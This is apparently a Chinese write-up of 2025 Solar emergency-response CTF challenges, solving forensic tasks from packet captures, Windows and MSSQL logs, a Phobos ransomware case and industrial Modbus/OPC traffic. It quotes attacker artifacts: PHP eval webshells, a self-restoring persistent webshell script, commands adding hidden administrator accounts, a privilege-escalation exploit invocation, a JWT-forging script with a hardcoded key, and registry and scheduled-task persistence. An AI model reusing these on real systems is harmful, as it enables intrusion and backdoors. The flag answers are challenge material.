2025年第二届Solar应急响应挑战赛

2025年Solar应急响应公益月赛-11月

应急响应(emergency)

有一台客户的服务器被黑客入侵了,好在安全工程师开启了流量包,请你完成这些题目,提升服务器的安全性吧!

用户名:Administrator

密码:Qsnctf2025

链接: https://pan.baidu.com/s/1LxYbnbYPpzTj0eL1yRKxiA 提取码: db5g

压缩包密码:349df0a5061cfd47e375c8dba9c773d7

赛题为:流量捕获.pcapng + emergency靶场

任务1

任务名称:提交黑客的IP地址

任务分数:2.00

任务类型:静态Flag

提交格式为flag{0.0.0.0}

protocol == http过滤,发现10.0.100.69攻击10.0.100.13

flag{10.0.100.69}

任务2

任务名称:提交黑客初始连接的PHP一句话木马密码

任务分数:2.00

任务类型:静态Flag

提交格式为flag{abc}

protocol == http过滤,发现frame.number==894 || frame.number==901内容是初始连接的PHP一句话木马。

No.894

Form item: "value" = "<?php @eval([$_POST['shell']]) ?>"

No.901

{"status":1,"message":"\u64cd\u4f5c\u6210\u529f\uff01"} 操作成功!
flag{shell}

任务3

任务名称:提交黑客通过初始连接一句话木马后创建新的一句话木马文件的MD5

任务分数:2.00

任务类型:静态Flag

提交格式为flag{md5}

protocol == http过滤,发现frame.number==53923 || frame.number==53926创建新的一句话木马文件shell.php,计算shell.php的MD5值。

No.53923

C:/phpstudy_pro/WWW/shell.php

No.53926

shell.php

<?php @eval($_POST["qsnctf_2025_lab"]); ?>
flag{91a29f36879b024d661851b7765f3969}

任务4

任务名称:提交黑客创建的不死马的密码

任务分数:2.00

任务类型:静态Flag

提交格式为flag{md5}

protocol == http过滤,发现frame.number==54240 || frame.number==54250上传不死马bsm.php

No.54240

C:/phpstudy_pro/WWW/bsm.php

php 复制代码
<?php
ignore_user_abort(true);
set_time_limit(0);

$shell_content = '<?php @eval($_POST["4aad625950d058c24711560e5f8445b9"]); ?>';
$shell_path = __DIR__ . '/.config.php';

while (true) {
    if (!file_exists($shell_path)) {
        file_put_contents($shell_path, $shell_content);
        chmod($shell_path, 0444);
    }
    sleep(5);
}
?>

flag{4aad625950d058c24711560e5f8445b9}

任务5

任务名称:提交黑客上传的恶意文件(远程控制木马)的名称

任务分数:2.00

任务类型:静态Flag

提交格式为flag{abc.exe}

protocol == http过滤,发现frame.number==68118 || frame.number==68167上传shell.exe,No.69165执行shell.exe。

No.68118

C:/phpstudy_pro/WWW/shell.exe

No.69165 执行shell.exe

cd /d "C:\\phpstudy_pro\\WWW" & shell.exe & echo 8f92ab47 & cd & echo dbeb03f5
flag{shell.exe}

任务6

任务名称:提交黑客上传的恶意文件(远程控制木马)的MD5

任务分数:2.00

任务类型:静态Flag

提交格式为flag{md5}

计算shell.exe的MD5值。

flag{0410284ea74b11d26f868ead6aa646e1}

任务7

任务名称:提交黑客上传的恶意文件(远程控制木马)的端口

任务分数:2.00

任务类型:静态Flag

提交格式为flag{1234}

在沙箱虚拟机运行一下,再排查进程和端口。
PID 对应的端口 4444

flag{4444}

任务8

任务名称:请提交黑客创建用户账户的用户名

任务分数:2.00

任务类型:静态Flag

提交格式为flag{username}

protocol == http过滤,发现frame.number==73634 || frame.number==73637添加账号密码

cd /d "C:\\phpstudy_pro\\WWW" & net user hidden$ P@ssw0rd123 /add

发现frame.number==73718 || frame.number==73721添加账号hidden$到管理员组

cd /d "C:\\phpstudy_pro\\WWW" & net localgroup administrators hidden /add flag{hidden}

任务9

任务名称:请提交黑客创建用户账户的密码

任务分数:2.00

任务类型:静态Flag

提交格式为flag{password}

flag{P@ssw0rd123}

任务10

任务名称:请提交黑客创建用户账户的时间

任务分数:2.00

任务类型:静态Flag

flag{2025/01/01 01:00:00}
过滤事件ID:4720(创建用户)

flag{2025/11/20 16:13:32}

2700勒索病毒排查

某公司财务机器某天突然卡顿,任务管理器发现有程序在高占用,后续所有文件都无法打开,且所有文件都变成了.2700结尾的扩展名,目前通过一些特征判断是勒索病毒,比如勒索信以及文件名等,请您上机排查,并根据题目指引进行溯源和数据恢复。

所需工具在C:\Users\Solar\Desktop\工具\目录中

账号:Solar

密码:Solar521

靶机使用说明:https://mp.weixin.qq.com/s/XFisEU5Gdk245cn8jsnlZQ

任务1

任务名称:此勒索家族名称是什么?

任务分数:2.00

任务类型:静态Flag

此勒索家族名称是什么?可访问应急响应.com进行查询,大小写敏感,最终以flag{}提交

在应急响应.com(https://www.solarsecurity.cn/detection)搜索sqlback@memeware.net,发现属于Phobos家族。
桌面有info.txt文件

Phobos家族

flag{Phobos}

任务2

任务名称:勒索病毒预留的ID是什么

任务分数:2.00

任务类型:静态Flag

勒索病毒预留的ID是什么(预留ID为勒索组织恢复的凭证),以flag{}提交,如有多个以&进行连接

任务1图片中扩展名前可以看见id[4A30C4F9-3524].[sqlback@memeware.net].2700。桌面的info.hta打开也可见ID。
桌面有info.hta文件

flag{4A30C4F9-3524}

任务3

任务名称:提交开始加密的时间

任务分数:2.00

任务类型:静态Flag

提交开始加密的时间,以flag{2025/1/1 11:11}格式提交

桌面info.txt、info.hta创建时间。
2025/11/19 14:31:23

flag{2025/11/19 14:31}

任务4

任务名称:提交flag

任务分数:2.00

任务类型:静态Flag

访问:应急响应.com 找到此家族恢复工具进行恢复,提交C:\Users\Solar\Desktop\lSimulation_Desktop_Files\flag.txt文件中的flag

访问应急响应.com,在 https://www.solarsecurity.cn/tools 找到Phobos家族恢复工具,下载Phobos恢复工具,恢复文件即可。

flag{6eff1ea09e63423a48288a77d97e0cc6}

任务5

任务名称:提交发送邮件的邮箱

任务分数:2.00

任务类型:静态Flag

提交C:\Users\Solar\Desktop\工具\mail 发送邮件的邮箱,以flag{xxx@xxx.com}格式提交

打开"已开发票(附件打开).eml"文件,找到From: 字段。
已开发票(附件打开).eml

flag{1983929223@qq.com}

任务6

任务名称:提交发送邮件的IP

任务分数:2.00

任务类型:静态Flag

提交C:\Users\Solar\Desktop\工具\mail 发送邮件的IP,以flag{x.x.x.x}格式提交
X-Originating-IP:39.91.141.213

flag{39.91.141.213}

任务7

任务名称:提交钓鱼附件中的C2地址

任务分数:2.00

任务类型:静态Flag

提交钓鱼附件中的C2地址,以flag{x.x.x.x}格式提交
C2地址

flag{182.9.80.123}

任务8

任务名称:提交flag

任务分数:2.00

任务类型:静态Flag

部分数据丢失,好在运维之前做了备份,使用C:\Users\Solar\Desktop\工具\diskgenus恢复C:\Users\Solar\Desktop\工具\backup中的备份内:C:\Users\Solar\Desktop\flag.bak文件,提交其flag。

使用diskgenus打开备份镜像,找到C:\Users\Solar\Desktop\flag.bak文件。
找到C:\Users\Solar\Desktop\flag.bak文件

flag{92047522e5080bad36eda9d29d5a163e}

2025年Solar应急响应挑战赛-12月

签到

代码审计,GET方法,?flag=flag{8565d92c4a881fbab0d4af4125ea28e1}入参正确即可。

flag{ad85b70b1b68449b88e1cad2836c32d3}

Traffic Analysis【CVE-2025-55449】

备份下载1:https://pan.baidu.com/s/14QtnAOAa3fNEKt7YQZRk2A 提取码: dcm2

备份下载2:https://wwboa.lanzouq.com/ivXYo3egom5a

备份下载3:https://pan.quark.cn/s/202c2e1cfe39 提取码:PSgS
问题 1、2、3

问题1:CVE编号是多少

例:CVE-xxxx-xxxxx

过滤条件是http && ip.host != 172.17.0.2。

frame.number < 368 有大量astrbot登录尝试。

frame.number == 368 有POST //api/plugin/install-upload HTTP/1.1\r\n。

frame.number == 376 上传helloworld.zip并安装成功。

frame.number > 376 有大量RCE。

据此特征判断是 AstrBot /api/plugin/install-upload 命令执行漏洞(CVE-2025-55449)

CVE-2025-55449

问题2:伪造用户名

例:root

frame.number == 367,发现Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzY1OTU5NTk2fQ.W0Mg3SVOfUonGgZDMk_nswAVCcYTlOVAM_0KIdFnKSc。

具体参考AstrBot 远程代码执行漏洞 | CVE-2025-55449 复现&研究。 已知CVE-2025-55449的利用代码,但存在签名过期的问题(jwt.exceptions.ExpiredSignatureError: Signature has expired)。所以,将操作系统时间调整到流量发生的时间2025-12-10或有效期内2025-12-10,即可正常解码。

python 复制代码
import jwt
from datetime import datetime, timedelta

WEBUI_SK='Advanced_System_for_Text'

def generate_jwt(username):
    payload = {
        "username": username,
        "exp": datetime.utcnow() + timedelta(days=7),
    }
    token = jwt.encode(payload, WEBUI_SK, algorithm="HS256")
    return token

if __name__=='__main__':
    token = generate_jwt('astrbot')
    print(token)

    t = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzY1OTU5NTk2fQ.W0Mg3SVOfUonGgZDMk_nswAVCcYTlOVAM_0KIdFnKSc'
    m = jwt.decode(t, WEBUI_SK, algorithms='HS256')
    print(m) 
    # {'username': 'admin', 'exp': 1765959596}

admin

问题3:恶意文件名是什么

例:xxxx.xxx

frame.number == 368 上传恶意文件,并安装成功。

helloworld.zip

问题4:运行路径在哪

例:/xxx

frame.number == 480 的RCE是pwd,可以看到当前的运行路径。
问题4

/AstrBot

问题5:flag的值

例:flag{xxxxx}

frame.number == 573 的RCE是cat flag。
问题5

flag{80892e26-dbcc-49be-9f40-e14f772741d0}

问题6:JWT的key是多少

例:xxxxx

frame.number == 642 的RCE是env,可以看到环境变量WEBUI_SK的值。
问题6

Advanced_System_for_Text

提交最终flag的格式如下:

flag{md5(问题1_问题2_问题3_问题4_问题5_问题6)}

CVE-2025-55449_admin_helloworld.zip_/AstrBot_flag{80892e26-dbcc-49be-9f40-e14f772741d0}_Advanced_System_for_Text

flag{f585fb56a8f67ceffd494f5ae96a6dff}

你能拿到权限我就给你FLAG

我有一台Windows Server的电脑,我的用户名叫Lab,我的密码是Lab2025..,我的C盘下有一个flag文件夹里面放着flag.txt,但是我好像读取不了。你如果能读取到这个FLAG,那这个FLAG就归你啦!

靶机是Windows Server 2008 R2。先收集信息,上传对应EXP,添加root账号并加入administrators组。登录root账号,以管理员身份打开notepad,再打开flag.txt即可。
systeminfo
CVE-018-8120.exe "net user root 1qaz@WSX /add"
CVE-018-8120.exe "net localgroup administrators root /add"
登录root账号,以管理员身份打开notepad,再打开flag.txt即可。

systeminfo

CVE-018-8120.exe "net user root 1qaz@WSX /add"

CVE-018-8120.exe "net localgroup administrators root /add"
flag{af8dbd72dfae83f5563a7f8b8e77151c}

日志排查

题目信息

时间:2025年12月17日 事件:安全运营中心(SOC)监测到数据库服务器流量异常,随后发现管理员组中出现不明账号。任务:请根据提供的日志文件(MSSQL ERRORLOG、Windows 安全日志、系统镜像/注册表),按时间顺序回答以下问题

备份下载1:https://pan.baidu.com/s/1d8M7slE_2PXr3fLD2VzayQ 提取码: hjfa

备份下载2:https://wwboa.lanzouq.com/ijPsg3egom3i

备份下载3:链接:https://pan.quark.cn/s/a7a9dfbdfaa2 提取码:3xeW

任务1

任务名称:任务1

任务分数:100.00

任务类型:静态Flag

在攻击真正发生之前,防火墙记录到了针对 SQL Server 的暴力破解行为。请找出发起暴力破解(大量登录失败)的 IP 地址。(按时间顺序用_连接,FLAG格式为:flag{ip_ip}

Application.evtx,筛选ID:18456,看到49386条登录失败日志。按时间顺序发起暴力破解的IP地址。
Application.evtx,筛选ID:18456
Application.evtx,筛选ID:18456

flag{192.168.146.135_192.168.146.161}

任务2

任务名称:任务2

任务分数:100.00

任务类型:静态Flag

请分析 MSSQL 日志文件,找到攻击者 IP 192.168.146.135 在结束暴力破解后,首次成功使用"SQL Server 身份验证"建立连接的时间。FLAG格式为:flag{2025/01/01 11:00:01}

Application.evtx,筛选ID:18454,看到18条登录失败日志。找到从192.168.146.135登录的这条。
Application.evtx,筛选ID:18454

flag{2025/12/17 11:17:26}

任务3

任务名称:任务3

任务分数:100.00

任务类型:静态Flag

经分析,攻击者登陆数据库后进行了关键配置更改以启用命令执行功能。 请还原攻击者在该时间点内的完整配置修改链(按日志记录顺序)。FLAG格式为:flag{配置名1_配置名2}

Application.evtx,筛选ID:15457,看到32条登录失败日志。2025-12-17 11:29:11有2条修改配置。
Application.evtx,筛选ID:15457
Application.evtx,筛选ID:15457

flag{show advanced options_xp_cmdshell}

任务4

任务名称:任务4

任务分数:100.00

任务类型:静态Flag

攻击者在执行复杂的命令前,先写入了一个测试文件以验证写入权限。请提供该测试文件的完整绝对路径。FLAG格式为:flag{C:\ABC\def.txt}

Security.evtx查找字符串C:\Windows\Temp\。

测试一般选择的目录有:

用户临时目录:C:\Users\<用户名>\AppData\Local\Temp\

系统临时目录:C:\Windows\Temp\

测试文件名字一般是:test.txt、1.txt、a.txt等
Security.evtx 查找字符串 C:\Windows\Temp\

flag{C:\Windows\Temp\test.txt}

任务5

任务名称:任务5

任务分数:100.00

任务类型:静态Flag

攻击者觉得通过数据库执行命令太麻烦,于是创建了一个系统后门用户 123。该后门用户的明文密码是什么?

Security.evtx查找字符串net user。
Security.evtx 查找字符串 net user

flag{33arsierting}}

任务6

任务名称:任务6

任务分数:100.00

任务类型:静态Flag

在创建完后门用户后,攻击者使用远程桌面 (RDP) 登录了服务器。请找出用户 123 首次 RDP 登录成功的精确时间。flag格式为:flag{2025/01/01 15:00:00}

Security.evtx,筛选ID:4624,看到100条日志。2025-12-17 15:06:03是123的首次RDP登录。
Security.evtx,筛选ID:4624

flag{2025/12/17 15:06:03}

任务7

任务名称:任务7

任务分数:100.00

任务类型:静态Flag

攻击者为了确保服务器重启后仍能控制机器,在系统中留下了三个持久化后门。 请找到这三处隐藏的字符串,并按以下顺序拼接:flag{flag1flag2flag3}
进程命令行: "C:\Windows\System32\cmd.exe" /C "C:\temp\run.bat"
进程命令行: reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "flag1" /t REG_SZ /d "cmd.exe /c echo {krjl424" /f
进程命令行: schtasks /create /tn "flag2" /tr "cmd.exe /c echo wq3453dalb" /sc onlogon /ru SYSTEM /f
进程命令行: sc description "flag3" "Service Key: zlmqu458xktq}"

进程命令行: "C:\Windows\System32\cmd.exe" /C "C:\temp\run.bat"

进程命令行: reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "flag1" /t REG_SZ /d "cmd.exe /c echo {krjl424" /f

进程命令行: schtasks /create /tn "flag2" /tr "cmd.exe /c echo wq3453dalb" /sc onlogon /ru SYSTEM /f

进程命令行: sc description "flag3" "Service Key: zlmqu458xktq}"
flag{krjl424wq3453dalbzlmqu458xktq}

工厂应急

某化工厂监控网络出现异常波动。你拿到了一份汇总的抓包文件。

任务1

任务名称:工厂应急Q1

任务分数:2.00

任务类型:静态Flag

谁把泵关了? 提交格式:flag{0xtransaction_id_0xfunction_code_0xcoil_address}

发现的modbus流量,关闭泵必须是写流量,过滤掉读流量,剩下那个就是flag。
modbus.func_code != 1 && modbus.func_code != 3
过滤掉读流量 modbus.func_code != 1 && modbus.func_code != 3

flag{0x1a2b_0x05_0x000d}

任务2

任务名称:工厂应急Q2

任务分数:2.00

任务类型:静态Flag

被写入的 NodeId

因为找NodeId,所以过滤条件是 tcp.segment_data contains "NodeId" 。有大量的BrowseRequest,也有WriteRequest。

BrowseRequest:NodeId=ns=3;s=Alarms;

BrowseRequest:NodeId=ns=2;s=Valve/Position;

BrowseRequest:NodeId=ns=2;s=Objects;

BrowseRequest:NodeId=ns=2;s=Pump/Status;

WriteRequest:NodeId=ns=2;s=Pump/SpeedSetpoint;Value=1200;

......

过滤后在分组字节流里找"Write"字符串,主义大小写。
过滤条件是 tcp.segment_data contains "NodeId" 。
过滤后在分组字节流里找"write"字符串。

WriteRequest:NodeId=ns=2;s=Pump/SpeedSetpoint;Value=1200;
flag{ns=2;s=Pump/SpeedSetpoint}

任务3

任务名称:工厂应急Q3

任务分数:2.00

任务类型:静态Flag

工程站域名解析结果 找出工程站域名 engws.plant.local 的 A 记录解析结果(目标 IP)。 flag{x.x.x.x}
dns.qry.name == engws.plant.local && dns.a
dns.qry.name == engws.plant.local && dns.a

flag{10.0.0.8}

任务4

任务名称:工厂应急Q4

任务分数:2.00

任务类型:静态Flag

确定 HMI(源:10.0.0.x)到工程站(目的:10.0.0.x)上首个成功发起的时间点。 提交格式:flag{YYYY-MM-DDTHH:MM:SSZ}(UTC,精确到秒)

因为是到工程站上的成功发起,那么TCP三次握手应该是:HMI到工程站发出SYN(0x002)、工程站返回HMI发出ACK/SYN(0x012)、HMI发出ACK(0x010)。因为流量中ACK很多,我们的过滤条件应该是前两次握手。
(ip.src_host contains 10.0.0 && ip.dst_host==10.0.0.8 && tcp.flags==0x002) || (ip.src_host==10.0.0.8 && ip.dst_host contains 10.0.0 && tcp.flags==0x012)
找到TCP三次握手

追踪TCP流,可以看到完整的TCP三次握手、四次挥手。
追踪TCP流,可以看到完整的TCP三次握手、四次挥手

flag{2025-03-12T14:22:09Z}

任务5

任务名称:工厂应急Q5

任务分数:2.00

任务类型:静态Flag

在横向后不久,HMI 对工程站发起了 HTTP 请求。提交请求的 Host 与 URI,用下划线连接。

过滤条件:http协议,且源地址是10.0.0.x,目的地址是10.0.0.8。发现一个请求。
http && ip.src_host contains "10.0.0." && ip.dst_host == 10.0.0.8
http && ip.src_host contains "10.0.0." && ip.dst_host == 10.0.0.8

flag{engws.plant.local_/rpc}

相关推荐
给勒布朗上上对抗呀1 天前
短标签一句话实战-LitCTF2025-easy_file
ctf
蓝之白1 天前
WEB安全_AI_WAF
web安全·ctf
Bug.ink2 天前
BUUCTF——WEB(4)
前端·网络安全·靶场·ctf·buuctf
蓝之白2 天前
MISC9-easy_nbt
ctf·misc
漏洞文库-Web安全3 天前
强网杯 2024 web pyblockly 单题wp
安全·web安全·网络安全·ctf
蓝之白3 天前
MISC8-Linux2
ctf·misc
lally.4 天前
2025CISCN国赛暨长城杯初赛 CloudEver wp
ctf
蓝之白4 天前
Web9-source
web安全·ctf
蓝之白4 天前
Web8-矛盾
web安全·ctf